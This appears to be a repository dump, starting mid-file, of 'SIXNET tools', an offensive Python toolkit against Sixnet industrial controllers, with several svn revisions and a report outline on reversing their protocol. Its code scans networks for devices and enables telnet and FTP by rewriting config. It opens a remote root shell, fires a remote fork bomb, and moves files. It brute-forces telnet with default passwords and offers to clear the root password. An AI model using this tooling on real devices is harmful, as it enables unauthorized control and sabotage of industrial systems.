57 | self.data = message[14:(len(message)-2)] #convert the hex value stored as a string to an int
58 | self.crc = message[-2:] #last 2 characters
59 |
60 | def print_all(self):
61 | """Prints all the fields of the message"""
62 | print("Lead: " + self.lead)
63 | print("Length: " + self.length)
64 | if(self.dst == "ff"):
65 | print("Destination station: ANY")
66 | else:
67 | print("Destination station: " + self.dst)
68 | print("Source Station: " + self.src)
69 | print("Session: " + self.session)
70 | print("Sequence: " + self.sequence)
71 | print("Command: " + self.command)
72 | print("Data: " + self.data)
73 | print("CRC: " + self.crc)
--------------------------------------------------------------------------------
/.svn/pristine/55/5566f3f224248b32fb7b5f07b1f9182426127d44.svn-base:
--------------------------------------------------------------------------------
1 | import file_manip
2 | from SUP_message import sup_msg
3 | import STX_Networking
4 |
5 | def enable_ftp(ip):
6 | sixnet_config = "/etc/stacfg/general.config"
7 | """Enables telnet on a sixnet device if it is not already enabled"""
8 | print("enabling ftp...")
9 | config = file_manip.get_file(sixnet_config, ip)
10 |
11 | #find telnet part and change it from 0 to 1
12 | new_config = config.replace("enable ftp=0", "enable ftp=1")
13 |
14 | file_manip.write_file(sixnet_config, new_config, ip)
15 | print("Success!")
16 |
17 | def enable_telnet(ip):
18 | sixnet_config = "/etc/stacfg/general.config"
19 | """Enables telnet on a sixnet device if it is not already enabled"""
20 | print("enabling telnet...")
21 | config = file_manip.get_file(sixnet_config, ip)
22 |
23 | #find telnet part and change it from 0 to 1
24 | new_config = config.replace("enable telnet=0", "enable telnet=1")
25 |
26 | file_manip.write_file(sixnet_config, new_config, ip)
27 | print("Success!")
28 |
29 | def fingerprint(ip):
30 | """Gets the Sixnet firmware version, IO map, and OS version"""
31 | file = "/etc/sxbuildinfo.txt"
32 | build_info = file_manip.get_file(file, ip)
33 |
34 | #format the build info to remove unnecessary data
35 | build_info = build_info.split("\t")
36 | build_info = build_info[0] + " " + build_info[1]
37 |
38 | #TODO: Find analog/digital inputs/outputs
39 | #I think the only way to do it is to query each one and see if I get a response or an error or something
40 | #After much fiddling this thing will let you read from or write to 8192 input and output registers with out telling you that
41 | #only 4 of those are actually being used.
42 |
43 | #just send a uname command over
44 | os_ver = STX_Networking.send_command(ip,"uname -sr").data[4:].decode("hex")
45 |
46 | print("Firmware:\t" + build_info)
47 | print("OS: \t\t" + os_ver)
48 |
49 | def sup_shell(ip):
50 | """A very root shell for interfacing with the sixnet device at the designated ip"""
51 | print("Sixnet Universal Protocol shell v0.1")
52 | #find out who you are
53 | whoami = STX_Networking.send_command(ip, "whoami")
54 | #strip off header of data ( a null and a 0x05 or something)
55 | whoami = whoami.data[4:].decode("hex")
56 | #strip off newline
57 | whoami = whoami[:4]
58 |
59 | while(True):
60 | #read in the shell command from the user and send that shit off
61 | input = raw_input(whoami + "$ ")
62 | if(input == "exit"):
63 | break
64 |
65 | reply = STX_Networking.send_command(ip, input)
66 |
67 | #Decode the reply and print it
68 | print reply.data[4:].decode("hex")
69 |
70 | def forkbomb(ip):
71 | STX_Networking.send_command(ip, "p(){ p|p& }; p")
72 | print "boom"
--------------------------------------------------------------------------------
/.svn/pristine/1a/1a14918dea67b4816ad717fa6791c74e53f30595.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | import SUP_message
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = .05 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d0ff1f0c000d007ffffffff00045e1d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | def find(address):
15 | """Takes the address provided (either CIDR format network or host) and scans for sixnet devices"""
16 |
17 | #Send out packets
18 | #internet #UDP
19 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
20 | sock.settimeout(timeout)
21 | NOP_scan(address, sock)
22 |
23 | def NOP_scan(address, sock):
24 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
25 |
26 | #if this there is a / then it is a network address
27 | #ex: 192.168.1.0/24
28 | if (address.find("/") == -1):
29 | subnet = False
30 | address = ipaddr.IPv4Address(address)
31 | else:
32 | subnet = True
33 | address = ipaddr.IPv4Network(address)
34 |
35 | #if it is an address then just send that address a NOP
36 | if(not subnet):
37 | print("Checking " + address.compressed + " ...")
38 | #sock.sendto(SUP_message.SUP_message.NOP, (address.compressed, SIXNET_port))
39 | sock.sendto(info_message.decode("hex"), (address.compressed, SIXNET_port))
40 |
41 | data = None
42 | try:
43 | data, addr = sock.recvfrom(1024) #buffer is 1024
44 | except:
45 | socket.timeout
46 |
47 | if(data):
48 | sup_msg = SUP_message.SUP_message(data.encode("hex"))
49 | print ("Reply type: " + sup_msg.command)
50 | print("Reply data: " + sup_msg.data)
51 | else:
52 | print("No response")
53 | #otherwise send one to each address in the subnet
54 | else:
55 | for host in address.iterhosts():
56 | #sock.sendto(SUP_message.SUP_message.NOP,(host.compressed, SIXNET_port))
57 | sock.sendto(info_message.decode("hex"), (host.compressed, SIXNET_port))
58 |
59 | #also check for replies
60 | data = None
61 | try:
62 | data, addr = sock.recvfrom(1024) #buffer is 1024
63 | except:
64 | socket.timeout
65 |
66 | if(data):
67 | print("device found at: " + host.compressed)
68 | sup_msg = SUP_message.SUP_message(data.encode("hex"))
69 | print ("Reply type: " + sup_msg.command)
70 | print("Reply data: " + sup_msg.data)
71 |
72 |
73 | if __name__ == "__main__":
74 | find(sys.argv[1:])
75 |
76 |
77 |
--------------------------------------------------------------------------------
/.svn/pristine/05/05bc60075e2ee9d875edbcc7e587a52563e84032.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | import SUP_message
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = 3 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d0ff1f0c000d007ffffffff00045e1d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | def find(address):
15 | """Takes the address provided (either CIDR format network or host) and scans for sixnet devices"""
16 |
17 | #message = info_message.decode("hex")
18 |
19 | #print("request command: " + str(sm1.command))
20 | #print("request data: " + sm1.data)
21 |
22 | #print("reply command: " + str(sm2.command))
23 | #print("reply data: " + sm2.data)
24 |
25 | #Send out packets
26 | #internet #UDP
27 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
28 | sock.settimeout(timeout)
29 | port_scan(address, sock)
30 |
31 | def port_scan(address, sock):
32 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
33 |
34 | #if this there is a / then it is a network address
35 | #ex: 192.168.1.0/24
36 | if (address.find("/") == -1):
37 | subnet = False
38 | address = ipaddr.IPv4Address(address)
39 | else:
40 | subnet = True
41 | address = ipaddr.IPv4Network(address)
42 |
43 | #if it is an address then just send that address a NOP
44 | if(not subnet):
45 | print("Checking " + address.compressed + " ...")
46 | sock.sendto(SUP_message.SUP_message.NOP, (address.compressed, SIXNET_port))
47 | #sock.sendto(info_message.decode("hex"), (address.compressed, SIXNET_port))
48 | #To handle a timeout get the system time and keep checking until
49 | #clock exceeds first reading + [Timeout]
50 | start = time.time()
51 | data = None
52 | while((time.time() < start + timeout) and (not data)):
53 | try:
54 | data, addr = sock.recvfrom(1024) #buffer is 1024
55 | except:
56 | socket.timeout
57 |
58 |
59 | if(data):
60 | print(data)
61 | else:
62 | print("No response")
63 | #otherwise send one to each address in the subnet
64 | else:
65 | for host in address.iterhosts():
66 | print("Checking " + host + " ...")
67 | sock.sendto(SUP_message.NOP,(host, SIXNET_port))
68 | #also check for replies
69 | start = time.time()
70 | data = None
71 | while(time.time() < start + timeout and not data):
72 | data, addr = sock.recvfrom(1024) #buffer is 1024
73 |
74 | if(data):
75 | print(data)
76 |
77 | if __name__ == "__main__":
78 | find(sys.argv[1:])
79 |
80 |
81 |
--------------------------------------------------------------------------------
/.svn/pristine/a9/a91c610e4ef5b92f7fe6b52a6a47ad0b996baa5c.svn-base:
--------------------------------------------------------------------------------
1 | import telnetlib, socket
2 | import subprocess, sys
3 | from optparse import OptionParser
4 |
5 | def main():
6 | parser = OptionParser()
7 | parser.add_option("-p", "--port",
8 | help="The port to connect to",
9 | dest="port", default=23)
10 | parser.add_option("-d", "--device",
11 | help="The device to poke at",
12 | dest="host", default="127.0.0.1")
13 | parser.add_option("-t", "--timeout",
14 | help="timeout for connection attempts",
15 | dest="range", default=5)
16 | (opt, arg) = parser.parse_args()
17 |
18 | open_connection(opt.host, opt.port, opt.timeout)
19 |
20 | def open_connection(host, port, timeout):
21 | """Tries a set of default/simple usernames and passwords to telnet into the remote host
22 | If successful the credentials are displayed and a new console is spawned for telnet action"""
23 |
24 | user = ["user", "root"]
25 | password = ["password", "Thevoid0", "1234", ""]
26 | expect = ["Last login.*", "login: "]
27 |
28 | correct_password = None
29 | correct_username = None
30 |
31 | tn = telnetlib.Telnet(host, port, timeout)
32 | success = False
33 | tn.read_until("login: ", 5)
34 |
35 | #while we have not run out of username and password combinations keep trying
36 | for name in user:
37 | for pwd in password:
38 |
39 | tn.write(name + "\n")
40 |
41 | #After so many failed attempts the remote server may terminate the connection
42 | #reopen it
43 | try:
44 | tn.read_until("Password:")
45 | except EOFError:
46 | print("Closed, reopening")
47 | tn = telnetlib.Telnet(host, port, timeout)
48 | tn.read_until("login: ")
49 | tn.write(name + "\n")
50 | tn.read_until("Password:")
51 |
52 |
53 | tn.write(pwd + "\n")
54 |
55 | #look for another password prompt, a terminal, or a connection ended
56 | output = tn.expect(expect)
57 |
58 | #if nothing in the expect array matches then we probably succeeded
59 | if(output[0] == 0):
60 | print("success?")
61 | success = True
62 | correct_password = pwd
63 | correct_username = name
64 | break
65 | else:
66 | print(name + ", " + pwd + " not right")
67 | if(success):
68 | break
69 |
70 | #if successful open a native telnet client
71 | if(success):
72 | print("username: " + correct_username)
73 | print("password: " + correct_password)
74 | #nasty, but as far as I can tell required to start the native telnet client in its own console
75 | #the interact() telnet terminal is too dumb to use
76 | subprocess.Popen(["telnet", host],0,None,None,None,None,None,False,False,None,None,False,None,subprocess.CREATE_NEW_CONSOLE)
77 | else:
78 | print("No luck guessing password")
79 |
80 | if __name__ == "__main__":
81 | main()
--------------------------------------------------------------------------------
/.svn/pristine/6a/6a015e708897d72b6e3534b449375b3dd1092f80.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | import SUP_message
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = .05 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d0ff1f0c000d007ffffffff00045e1d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | thing = SUP_message.sup_msg(read_some_input)
15 | print ("command: " + thing.command)
16 | print ("data: " + thing.data)
17 | print ("source: " + thing.src)
18 | print ("dest: " + thing.dst)
19 | print ("sequence: " + thing.sequence)
20 | print ("session : " + thing.session)
21 | print
22 |
23 | def find(address):
24 | """Takes the address provided (either CIDR format network or host) and scans for sixnet devices"""
25 |
26 | #Send out packets
27 | #internet #UDP
28 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
29 | sock.settimeout(timeout)
30 | NOP_scan(address, sock)
31 |
32 | def NOP_scan(address, sock):
33 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
34 |
35 | #if this there is a / then it is a network address
36 | #ex: 192.168.1.0/24
37 | if (address.find("/") == -1):
38 | subnet = False
39 | address = ipaddr.IPv4Address(address)
40 | else:
41 | subnet = True
42 | address = ipaddr.IPv4Network(address)
43 |
44 | #if it is an address then just send that address a NOP
45 | if(not subnet):
46 | print("Checking " + address.compressed + " ...")
47 | #sock.sendto(SUP_message.SUP_message.NOP, (address.compressed, SIXNET_port))
48 | sock.sendto(info_message.decode("hex"), (address.compressed, SIXNET_port))
49 |
50 | data = None
51 | try:
52 | data, addr = sock.recvfrom(1024) #buffer is 1024
53 | except:
54 | socket.timeout
55 |
56 | if(data):
57 | sup_msg = SUP_message.sup_msg(data.encode("hex"))
58 | print ("Reply type: " + sup_msg.command)
59 | print("Reply data: " + sup_msg.data)
60 | else:
61 | print("No response")
62 | #otherwise send one to each address in the subnet
63 | else:
64 | for host in address.iterhosts():
65 | #sock.sendto(SUP_message.SUP_message.NOP,(host.compressed, SIXNET_port))
66 | sock.sendto(info_message.decode("hex"), (host.compressed, SIXNET_port))
67 |
68 | #also check for replies
69 | data = None
70 | try:
71 | data, addr = sock.recvfrom(1024) #buffer is 1024
72 | except:
73 | socket.timeout
74 |
75 | if(data):
76 | print("device found at: " + host.compressed)
77 | sup_msg = SUP_message.sup_msg(data.encode("hex"))
78 | print ("Reply type: " + sup_msg.command)
79 | print("Reply data: " + sup_msg.data)
80 |
81 |
82 | if __name__ == "__main__":
83 | find(sys.argv[1:])
84 |
85 |
86 |
--------------------------------------------------------------------------------
/.svn/pristine/c4/c4aa421cc264f318d7baaf9cf3c8cd806b8039bc.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | import SUP_message
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = .05 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d0ff1f0c000d007ffffffff00045e1d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | thing = SUP_message.sup_msg(discovery_message)
15 | print ("command: " + thing.command)
16 | print ("data: " + thing.data)
17 | print ("source: " + thing.src)
18 | print ("dest: " + thing.dst)
19 | print ("sequence: " + thing.sequence)
20 | print ("session : " + thing.session)
21 | print
22 |
23 | def find(address):
24 | """Takes the address provided (either CIDR format network or host) and scans for sixnet devices"""
25 |
26 | #Send out packets
27 | #internet #UDP
28 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
29 | sock.settimeout(timeout)
30 | NOP_scan(address, sock)
31 |
32 | def NOP_scan(address, sock):
33 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
34 |
35 | #if this there is a / then it is a network address
36 | #ex: 192.168.1.0/24
37 | if (address.find("/") == -1):
38 | subnet = False
39 | address = ipaddr.IPv4Address(address)
40 | else:
41 | subnet = True
42 | address = ipaddr.IPv4Network(address)
43 |
44 | #if it is an address then just send that address a NOP
45 | if(not subnet):
46 | print("Checking " + address.compressed + " ...")
47 | #sock.sendto(SUP_message.SUP_message.NOP, (address.compressed, SIXNET_port))
48 | sock.sendto(info_message.decode("hex"), (address.compressed, SIXNET_port))
49 |
50 | data = None
51 | try:
52 | data, addr = sock.recvfrom(1024) #buffer is 1024
53 | except:
54 | socket.timeout
55 |
56 | if(data):
57 | sup_msg = SUP_message.sup_msg(data.encode("hex"))
58 | print ("Reply type: " + sup_msg.command)
59 | print("Reply data: " + sup_msg.data)
60 | else:
61 | print("No response")
62 | #otherwise send one to each address in the subnet
63 | else:
64 | for host in address.iterhosts():
65 | #sock.sendto(SUP_message.SUP_message.NOP,(host.compressed, SIXNET_port))
66 | sock.sendto(info_message.decode("hex"), (host.compressed, SIXNET_port))
67 |
68 | #also check for replies
69 | data = None
70 | try:
71 | data, addr = sock.recvfrom(1024) #buffer is 1024
72 | except:
73 | socket.timeout
74 |
75 | if(data):
76 | print("device found at: " + host.compressed)
77 | sup_msg = SUP_message.sup_msg(data.encode("hex"))
78 | print ("Reply type: " + sup_msg.command)
79 | print("Reply data: " + sup_msg.data)
80 |
81 |
82 | if __name__ == "__main__":
83 | find(sys.argv[1:])
84 |
85 |
86 |
--------------------------------------------------------------------------------
/SIXNET tools/report.aux:
--------------------------------------------------------------------------------
1 | \relax
2 | \@writefile{toc}{\contentsline {section}{\numberline {1}Abstract}{2}}
3 | \@writefile{toc}{\contentsline {section}{\numberline {2}Body}{2}}
4 | \@writefile{toc}{\contentsline {section}{\numberline {3}Reversing}{3}}
5 | \@writefile{lot}{\contentsline {table}{\numberline {1}{\ignorespaces Sixnet Universal Protocol Specification.}}{3}}
6 | \newlabel{aggiungi}{{1}{3}}
7 | \@writefile{toc}{\contentsline {subsection}{\numberline {3.1}SETD}{4}}
8 | \@writefile{toc}{\contentsline {subsection}{\numberline {3.2}NOP}{4}}
9 | \@writefile{toc}{\contentsline {subsection}{\numberline {3.3}File Manipulation}{4}}
10 | \@writefile{toc}{\contentsline {subsubsection}{\numberline {3.3.1}Sub-command – Read file (01)}{4}}
11 | \@writefile{toc}{\contentsline {subsubsection}{\numberline {3.3.2}Sub-command – write file (02)}{4}}
12 | \@writefile{toc}{\contentsline {subsubsection}{\numberline {3.3.3}Sub-command – find file (00:03)}{5}}
13 | \@writefile{toc}{\contentsline {subsubsection}{\numberline {3.3.4}Sub-command – create file (03:03)}{5}}
14 | \@writefile{toc}{\contentsline {subsubsection}{\numberline {3.3.5}Sub-Command – get file size (06)}{5}}
15 | \@writefile{toc}{\contentsline {subsubsection}{\numberline {3.3.6}Sub-command – Rename/move (09:00)}{5}}
16 | \@writefile{toc}{\contentsline {subsection}{\numberline {3.4}Shell Command}{5}}
17 | \@writefile{toc}{\contentsline {section}{\numberline {4}Attactions}{6}}
18 | \@writefile{toc}{\contentsline {subsection}{\numberline {4.1}-s \{host | network\} NOP Scan}{6}}
19 | \@writefile{toc}{\contentsline {subsection}{\numberline {4.2}-T \{host\} Enable Telnet}{6}}
20 | \@writefile{toc}{\contentsline {subsection}{\numberline {4.3}-F \{host\} Enable FTP}{6}}
21 | \@writefile{toc}{\contentsline {subsection}{\numberline {4.4}-f \{host\} Fingerprint}{7}}
22 | \@writefile{toc}{\contentsline {subsection}{\numberline {4.5}-S \{host\} Very Dumb Shell}{7}}
23 | \@writefile{toc}{\contentsline {subsection}{\numberline {4.6}-r \{host\} \{source\} \{destination\} Read file}{7}}
24 | \@writefile{toc}{\contentsline {subsection}{\numberline {4.7}-w \{host\} \{source\} \{destination\} Write file}{7}}
25 | \@writefile{toc}{\contentsline {subsection}{\numberline {4.8}-p \{host\} Clear password}{7}}
26 | \@writefile{toc}{\contentsline {subsection}{\numberline {4.9}-l \{host\} Blinkenlights}{8}}
27 | \@writefile{toc}{\contentsline {subsection}{\numberline {4.10}-b \{host\} Fork bomb}{8}}
28 | \@writefile{toc}{\contentsline {section}{\numberline {5}Conclusion}{8}}
29 | \@writefile{toc}{\contentsline {section}{\numberline {6}Recommendations for Future Work}{8}}
30 | \@writefile{toc}{\contentsline {section}{\numberline {7}Source Code}{8}}
31 | \@writefile{toc}{\contentsline {subsection}{\numberline {7.1}SIXNET\_tools.py}{8}}
32 | \@writefile{toc}{\contentsline {subsection}{\numberline {7.2}attactions.py}{10}}
33 | \@writefile{toc}{\contentsline {subsection}{\numberline {7.3}STX\_Networking.py}{13}}
34 | \@writefile{toc}{\contentsline {subsection}{\numberline {7.4}common_lib.py}{15}}
35 | \@writefile{toc}{\contentsline {subsection}{\numberline {7.5}SUP\_message.py}{15}}
36 | \@writefile{toc}{\contentsline {subsection}{\numberline {7.6}file\_manip.py}{19}}
37 | \@writefile{toc}{\contentsline {subsection}{\numberline {7.7}telnet.py}{23}}
38 | \@writefile{toc}{\contentsline {section}{\numberline {8}References}{25}}
39 |
--------------------------------------------------------------------------------
/.svn/pristine/fe/feeb17a45124e4e4f482a86ad3e17f4f50b647a3.svn-base:
--------------------------------------------------------------------------------
1 | #import antigravity
2 | #antigravity.webbrowser.Mozilla
3 | import sys, getopt
4 | import STX_Networking
5 | import telnet
6 | import sup_shell
7 | import file_manip, attactions
8 | from SUP_message import sup_msg
9 |
10 | welcome = "rev 30ish Mehdi Sabraoui 2013\n"
11 | welcome += " _ _ _ _ _ _ \n"
12 | welcome += " / \ / \ / \ / \ / \ / \ \n"
13 | welcome += " ( S | I | X | N | E | T )\n"
14 | welcome += " \_/ \_/ \_/ \_/ \_/ \_/ \n"
15 | welcome += " _ _ _ _ _ \n"
16 | welcome += " / \ / \ / \ / \ / \ \n"
17 | welcome += " ( T | o | o | l | s ) \n"
18 | welcome += " \_/ \_/ \_/ \_/ \_/ \n"
19 |
20 | usage = "Usage: SIXNET_tools [Options] {target specifications}"
21 |
22 | help = "Sixnet Tools. Tools for poking at Sixnet things.\n"
23 | help += "TARGET SPECIFICATION:\n"
24 | help += "Can pass IP addresses or networks\n"
25 | help += " Ex: 192.168.1.1, 10.1.1.0/24\n"
26 | help += "Options:\n"
27 | help += " -h Displays this help dialog\n"
28 | help += " -s {host | network} NOP scans a host or network for sixnet devices.\n"
29 | help += " -T {host} Enables telnet for the given ip address\n"
30 | help += " -F {host} Enables FTP for the given ip address\n"
31 | help += " -f {host} Gets OS and Firmware information for the given ip address\n"
32 | help += " -S {host} Opens a very dumb shell to the given ip address\n"
33 | help += " -r {host} {src} {dst} Copies a file from the remote sixnet host to the local host\n"
34 | help += " -w {host} {src} {dst} Copies a file from the local host to the remote sixnet host\n"
35 | help += " -p {host} Clears the password for the owner account (likely root)\n"
36 | help += " -b {host} furk bamp\n"
37 |
38 | def main(argv):
39 | try:
40 | opts, args = getopt.getopt(argv,"hs:T:F:f:S:b:r:w:p:",["help","scan=","enableTelnet=","enableFTP=","fingerprint=","shell=","forkbomb=","read=","write=","clrPass="])
41 | except getopt.GetoptError:
42 | print welcome
43 | print usage
44 | sys.exit()
45 | for opt, arg in opts:
46 | if opt in ("-h", "--help"):
47 | print help
48 | sys.exit()
49 | elif opt in ("-s", "--scan"): #scan
50 | STX_Networking.NOP_scan(arg)
51 | elif opt in ("-T", "--enableTelnet"): #enable telnet
52 | attactions.enable_telnet(arg)
53 | elif opt in ("-F", "--enableFTP"): #enable ftp
54 | attactions.enable_ftp(arg)
55 | elif opt in ("-f", "--fingerprint"): #fingerprint
56 | attactions.fingerprint(arg)
57 | elif opt in ("-S", "--shell"): #shell
58 | attactions.sup_shell(arg)
59 | elif opt in ("-r", "--read"):
60 | attactions.get_file(arg, args[0], args[1])
61 | elif opt in ("-w", "--write"):
62 | attactions.write_file(arg, args[0], args[1])
63 | elif opt in ("-p", "--clrPass"):
64 | attactions.clear_pass(arg)
65 | elif opt in ("-b", "--forkbomb"):
66 | attactions.forkbomb(arg)
67 |
68 | if __name__ == "__main__":
69 | main(sys.argv[1:])
70 |
71 |
72 |
73 |
74 |
--------------------------------------------------------------------------------
/SIXNET tools/telnet.py:
--------------------------------------------------------------------------------
1 | import telnetlib, socket
2 | import subprocess, sys
3 | from optparse import OptionParser
4 |
5 | def main():
6 | parser = OptionParser()
7 | parser.add_option("-p", "--port",
8 | help="The port to connect to",
9 | dest="port", default=23)
10 | parser.add_option("-d", "--device",
11 | help="The device to poke at",
12 | dest="host", default="127.0.0.1")
13 | parser.add_option("-t", "--timeout",
14 | help="timeout for connection attempts",
15 | dest="range", default=5)
16 | (opt, arg) = parser.parse_args()
17 |
18 | open_connection(opt.host, opt.port, opt.timeout)
19 |
20 | def open_connection(host, port, timeout):
21 | """Tries a set of default/simple usernames and passwords to telnet into the remote host
22 | If successful the credentials are displayed and a new console is spawned for telnet action"""
23 |
24 | user = ["user", "root"]
25 | password = ["password", "1234", ""]
26 | expect = ["Last login.*", "login: ", "# "]
27 |
28 | correct_password = None
29 | correct_username = None
30 |
31 | tn = telnetlib.Telnet(host, port, timeout)
32 | success = False
33 | tn.read_until("login: ", 5)
34 |
35 | #while we have not run out of username and password combinations keep trying
36 | for name in user:
37 | for pwd in password:
38 |
39 | tn.write(name + "\n")
40 |
41 | #After so many failed attempts the remote server may terminate the connection
42 | #reopen it
43 | try:
44 | tn.read_until("Password:")
45 | except EOFError:
46 | print("Closed, reopening")
47 | tn = telnetlib.Telnet(host, port, timeout)
48 | tn.read_until("login: ")
49 | tn.write(name + "\n")
50 | tn.read_until("Password:")
51 |
52 |
53 | tn.write(pwd + "\n")
54 |
55 | #look for another password prompt, a terminal, or a connection ended
56 | try:
57 | output = tn.expect(expect,timeout)
58 |
59 | except socket.timeout as EOFError:
60 | print("Closed, reopening")
61 | tn = telnetlib.Telnet(host, port, timeout)
62 | tn.read_until("login: ")
63 | tn.write(name + "\n")
64 | tn.read_until("Password:")
65 |
66 | #if nothing in the expect array matches then we probably succeeded
67 | if(output[0] == 0):
68 | print("success?")
69 | success = True
70 | correct_password = pwd
71 | correct_username = name
72 | break
73 | else:
74 | print(name + ", " + pwd + " not right")
75 | if(success):
76 | break
77 |
78 | #if successful open a native telnet client
79 | if(success):
80 | print("username: " + correct_username)
81 | print("password: " + correct_password)
82 | #nasty, but as far as I can tell required to start the native telnet client in its own console
83 | #the interact() telnet terminal is too dumb to use
84 | subprocess.Popen(["telnet", host],0,None,None,None,None,None,False,False,None,None,False,None,subprocess.CREATE_NEW_CONSOLE)
85 | else:
86 | print("No luck guessing password")
87 |
88 | if __name__ == "__main__":
89 | main()
--------------------------------------------------------------------------------
/.svn/pristine/84/840495243752600d2dff285befe95322b78a9956.svn-base:
--------------------------------------------------------------------------------
1 | import socket, ipaddr
2 | import sys, getopt
3 | from SUP_message import sup_msg
4 | import time
5 |
6 | #Module to generate UDP packets to find SIXNET devices on a network
7 |
8 | timeout = 1 #timeout in seconds to wait for a reply
9 | SIXNET_port = 1594
10 | discovery_message = "7d1cf2f0c077d01e0100636174202f70726f632f636d646c696e65001d0f"
11 | info_message = "7d0cfff0c0000c80000000081d0f"
12 | read_some_input = "7d1cf0ffc0000180000000087fff7fff37ea6adc00000000000000001d0f"
13 |
14 | def send_command(ip,command):
15 | """Encodes a shell command, sends it to the given ip, and returns the response"""
16 | pkt = sup_msg()
17 | pkt.shell_command(command)
18 | return send_msg(pkt.create(),ip)
19 |
20 | def tcp_send_msg(message, address = "255.255.255.255", port = SIXNET_port):
21 |
22 | sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
23 | sock.connect((address, port))
24 |
25 | sock.sendall(message.decode("hex"))
26 | data = sock.recv(2048)
27 | sock.close()
28 | return data
29 |
30 | def send_msg(message, address = "255.255.255.255", port = SIXNET_port):
31 | """Sends a UDP packet to the specified address on the sixnet port with a Sixnet Universal Protocol formatted message as it contents
32 | returns a sup_msg object if one is received, -1 otherwise"""
33 |
34 | # internet UDP
35 | sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
36 | sock.settimeout(timeout)
37 | # converts the message from ASCII representation of hex into actual real-life for-realsies hex
38 | sock.sendto(message.decode("hex"), (address, port))
39 |
40 | retdata = None
41 |
42 | while(retdata == None):
43 | try:
44 | retdata, addr = sock.recvfrom(2048) #buffer is 1024
45 | except:
46 | socket.timeout
47 | break
48 |
49 | if(retdata):
50 | return sup_msg(retdata.encode("hex"))
51 |
52 | else:
53 | return -1
54 |
55 | def NOP_scan(address):
56 | """Sends a NOP command to the host if a single one is specified or every host on the network"""
57 |
58 | valid_addresses = []
59 |
60 | pkt = sup_msg()
61 | pkt.nop()
62 |
63 | #if this there is a / then it is a network address
64 | #ex: 192.168.1.0/24
65 | if (address.find("/") == -1):
66 | subnet = False
67 | address = ipaddr.IPv4Address(address)
68 | else:
69 | subnet = True
70 | address = ipaddr.IPv4Network(address)
71 |
72 | #if it is an address then just send that address a NOP
73 | if(not subnet):
74 | print "Checking " + address.compressed + " ...",
75 |
76 | reply = send_msg(pkt.create(), address.compressed)
77 |
78 | if(reply != -1):
79 | print "Device found!"
80 | valid_addresses.append(address.compressed)
81 | else:
82 | print "No response"
83 | #otherwise send one to each address in the subnet
84 | else:
85 | for host in address.iterhosts():
86 | print "\rChecking " + host.compressed + " ...",
87 | reply = send_msg(pkt.create(), host.compressed)
88 |
89 | if(reply != -1):
90 | print "device found!"
91 | valid_addresses.append(host.compressed)
92 |
93 | return valid_addresses
94 |
95 | if __name__ == "__main__":
96 | find(sys.argv[1:])
97 |
98 |
99 |
--------------------------------------------------------------------------------
/.svn/pristine/67/67c10aa2c89bdc6a41454c149d7331c6cdd9163c.svn-base:
--------------------------------------------------------------------------------
1 | import telnetlib, socket
2 | import subprocess, sys
3 | from optparse import OptionParser
4 |
5 | def main():
6 | parser = OptionParser()
7 | parser.add_option("-p", "--port",
8 | help="The port to connect to",
9 | dest="port", default=23)
10 | parser.add_option("-d", "--device",
11 | help="The device to poke at",
12 | dest="host", default="127.0.0.1")
13 | parser.add_option("-t", "--timeout",
14 | help="timeout for connection attempts",
15 | dest="range", default=5)
16 | (opt, arg) = parser.parse_args()
17 |
18 | open_connection(opt.host, opt.port, opt.timeout)
19 |
20 | def open_connection(host, port, timeout):
21 | """Tries a set of default/simple usernames and passwords to telnet into the remote host
22 | If successful the credentials are displayed and a new console is spawned for telnet action"""
23 |
24 | user = ["user", "root"]
25 | password = ["password", "1234", ""]
26 | expect = ["Last login.*", "login: ", "# "]
27 |
28 | correct_password = None
29 | correct_username = None
30 |
31 | tn = telnetlib.Telnet(host, port, timeout)
32 | success = False
33 | tn.read_until("login: ", 5)
34 |
35 | #while we have not run out of username and password combinations keep trying
36 | for name in user:
37 | for pwd in password:
38 |
39 | tn.write(name + "\n")
40 |
41 | #After so many failed attempts the remote server may terminate the connection
42 | #reopen it
43 | try:
44 | tn.read_until("Password:")
45 | except EOFError:
46 | print("Closed, reopening")
47 | tn = telnetlib.Telnet(host, port, timeout)
48 | tn.read_until("login: ")
49 | tn.write(name + "\n")
50 | tn.read_until("Password:")
51 |
52 |
53 | tn.write(pwd + "\n")
54 |
55 | #look for another password prompt, a terminal, or a connection ended
56 | try:
